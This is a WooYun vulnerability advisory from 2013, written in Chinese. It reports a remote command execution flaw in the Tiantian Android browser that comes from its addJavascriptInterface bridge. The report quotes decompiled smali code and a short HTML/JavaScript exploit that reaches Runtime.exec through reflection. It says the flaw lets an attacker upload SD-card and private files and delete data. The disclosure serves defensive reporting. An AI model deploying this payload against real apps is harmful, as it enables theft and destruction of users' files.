漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-035616
漏洞标题：天天浏览器存在远程命令执行漏洞
相关厂商：华为技术有限公司
漏洞作者： 撸人甲
提交时间：2013-08-29 19:03
修复时间：2013-11-27 19:04
公开时间：2013-11-27 19:04
漏洞类型：远程代码执行
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-08-29： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-11-27： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
漏洞存在于天天浏览器中，不需要root即可
详细说明：
漏洞存在于天天浏览器中，不需要root即可，addJavascriptInterface导出多处
http://nc.vanke.com/webserver/indexnew.aspx?classid=1
天天浏览器，反编译后com/tiantianmini/android/browser/manager/j.smali中，存在
const-string v1, "tiantianObject"
invoke-virtual {p0, v0, v1}, Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
这里使用导出的tiantianObject，还有其他导出到js的java类也可以使用，天天浏览器导出了多处，都注意下吧。
构造exploit部分内容如下:(html文件)
<script>
function execute(cmdArgs)
{
alert(typeof(tiantianObject));
return tiantianObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
漏洞证明：
跟上一个漏洞一样，调用后可以执行命令，可以做很多事情，例如上传sd卡文件，上传私有目录下的可读文件、删除文件等等。用户群不大，小软件没地方提交了。
通用类型的漏洞，希望引起注意，不过大厂商的都知道了。
修复方案：
限制下吧
版权声明：转载请注明来源 撸人甲@乌云
漏洞回应
厂商回应：
危害等级：暂时无回应
漏洞Rank：0
确认时间：2013-08-29 19:03
厂商回复：
最新状态：
暂无